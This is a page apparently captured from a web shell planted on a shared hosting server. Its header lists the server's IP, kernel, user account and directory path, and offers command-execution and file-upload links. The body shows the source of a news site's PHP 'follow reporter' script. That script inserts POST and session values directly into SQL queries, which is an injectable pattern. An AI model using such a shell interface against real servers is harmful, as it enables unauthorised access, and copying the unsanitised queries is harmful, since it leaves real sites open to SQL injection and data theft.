Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/localapp/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); include("admin/inc/config.php"); if (!isset($_SESSION['id'])) { // Redirect to login if the user is not logged in header("Location: user_login.php"); exit(); } if (isset($_POST['follow'])) { $user_id = $_SESSION['id']; // Logged-in user ID $reporter_id = $_POST['reporter_id']; // ID of the reporter being followed // Check if the user already follows the reporter $check_query = "SELECT * FROM follow WHERE user_id = '$user_id' AND reporter_id = '$reporter_id'"; $check_result = mysqli_query($conn, $check_query); if (mysqli_num_rows($check_result) == 0) { // Insert follow record $insert_query = "INSERT INTO follow (user_id, reporter_id) VALUES ('$user_id', '$reporter_id')"; if (mysqli_query($conn, $insert_query)) { echo "<script>alert('You are now following this reporter!'); window.location.href=document.referrer;</script>"; } else { echo "<script>alert('Error following reporter. Try again.'); window.location.href=document.referrer;</script>"; } } else { echo "<script>alert('You are already following this reporter!'); window.location.href=document.referrer;</script>"; } } ?>